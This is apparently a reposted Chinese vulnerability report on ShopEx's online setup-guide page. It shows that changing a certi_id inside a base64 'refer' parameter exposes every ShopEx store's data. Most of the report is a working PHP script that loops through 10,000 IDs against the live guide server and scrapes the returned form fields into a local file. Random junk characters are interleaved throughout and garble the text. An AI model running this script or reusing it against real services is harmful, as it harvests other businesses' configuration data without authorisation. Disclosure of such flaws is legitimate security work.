|
简要描述:
0 Z! ^! w# z0 ]! VShopEx某接口缺陷,可遍历所有网站
: C' |0 w7 J `1 u. u7 @9 c% ~; @' j+ s详细说明:6 v4 N% x- N8 o! E' G
问题出现在shopex 网店使用向导页面
8 V1 ~9 h' `" o4 m. q# G/ F- [; R$ a5 V6 [( Y5 C
$ m( l: ~8 y7 {+ p7 E. u- k8 R/ O3 b; c, F
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=( m- ?( C! z/ j# k- k
4 ^& `: d1 y% U8 P( Q; A) F
8 x4 w3 `; w2 l+ G5 ?7 L. j2 U6 G) [; A5 y
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}8 ]4 I3 |! v& j
- Y, U6 z3 U6 u4 D4 c( `7 X/ P6 A1 h) ^2 r
9 P5 X6 F1 m) ]$ w我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 , M V0 i) B. f7 B' H) P
- N" y* S: J: b$ v1 D5 @
& d' ~) A' M2 T3 h. x% ^! m% v% g* F2 n. B( ?( X' ~
<?php0 G# q( |4 ?. C4 |3 C" A4 K
8 c: b F4 P) k4 I3 F
for ($i=1; $i < 10000; $i++) { //遍历5 P6 D o, b4 Q2 M
$ d! F' n9 S+ p7 h, o ShowshopExD($i);8 K% O! I1 w. }
. k$ c3 g7 i0 ?* r
}
: o4 L, @8 S1 w5 J$ }8 h/ q7 P% ^! N, i: ?
function ShowshopExD($cid) {
0 [3 y5 b5 H% C( @: S/ m a' p# g; n2 |8 ^, n# K( c# r
$url='http://guide.ecos.shopex.cn/step2.php';
8 }) u: `! j$ D
6 D+ }' a' R* B$ D8 X $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
% F- O: R: u0 Y: Y0 x7 U" |+ {+ m/ `6 F: @
$url = $url.'?refer='.$refer;0 i; \8 K) }" t3 @- P" B: \
, [. L3 E" e2 \+ C2 W0 |' {
$ch = curl_init($url);: L0 X6 }6 w5 O5 F+ ]
, N; L1 A5 Y4 u; v; }. W4 k
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;2 I# D: g" i" G4 r
4 T0 ^! A1 y8 N: q
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;; {; i) P- t1 y. m
1 p2 {% _+ U# q) y
$result = curl_exec($ch);# F, i; x2 |; Q% ]
% ]! n7 T2 m$ @) D
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
8 H) G, W, N5 s; f- x
; ^9 ]; c& {0 F% b" l( @ if(strpos($result,$refer))
- P2 a% A! L2 b2 w9 ^6 d& V/ s$ N+ D' m& |& H4 C5 w' |. z7 ^
{. T3 e/ D7 A: F4 e6 H: s! i5 J$ b
- H8 Q, e/ t. _* H $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
2 J' b, x9 E2 l# A& U- t" d1 f$ Q* @3 L: T; O
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
7 `% ~3 P# V$ l7 W; t I! C% Y7 i" z$ V% W Y+ M! C" U
foreach ($value[1] as $key) {) Y$ O3 j h4 m4 w5 z& V' d
& l+ G& T. k& c, ?; a1 j3 V, G preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
# p' p8 d2 s1 [+ F+ y$ r3 j
! x* g+ t+ }8 S2 e9 D( q% v echo $res[1][0].':'.$res[3][0]."\r\n";
/ b* F$ j9 x) J: P4 x' X, }! v# s' ~$ O- L, L+ c4 P& r' [
$col =$res[1][0].':'.$res[3][0]."\r\n"; 4 U0 ^; O* l7 C% U
: K V# L* t; |, p5 z. i
fwrite($fp, $col, strlen($col));
( o# D$ n t ?8 H: [( F8 A- @7 ~! O2 @0 P: l% I2 e: |( A) @
}
4 i! v; b2 g7 p2 R, E. M, s. `9 D! T; D
echo '--------------------------------'."\r\n";
! p7 x# R1 l3 j4 V! ?1 S- v
" J3 T8 \) F0 X" t1 n" i fclose($fp);
% {7 Q& ? `' g2 ?% H
{" I5 Z% ^. ?2 e1 v/ O# b. U: [ }
' y" b' j& N6 |3 S! Z- Y% U9 X. L( \% S6 q1 F
flush();+ e& T0 K$ b; {+ z* \6 Y
1 u3 n1 [' [3 L7 w- h" X( Y curl_close($ch);1 a" u" j( P% q3 ]# t# r
3 c+ @1 e4 s/ X+ h- |+ Y2 K }
: H; r* b5 W( t! ?' n: O) ]
$ S1 @) y4 O8 o ^8 z: ?0 P; g?>
2 l6 l& W f# Q0 S3 H漏洞证明:( I9 m! n5 Z/ d$ w ~
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
" A8 p9 _9 \2 p, D0 \% Srefer换成其他加密方式
% A \/ U8 y0 v# R' q |
|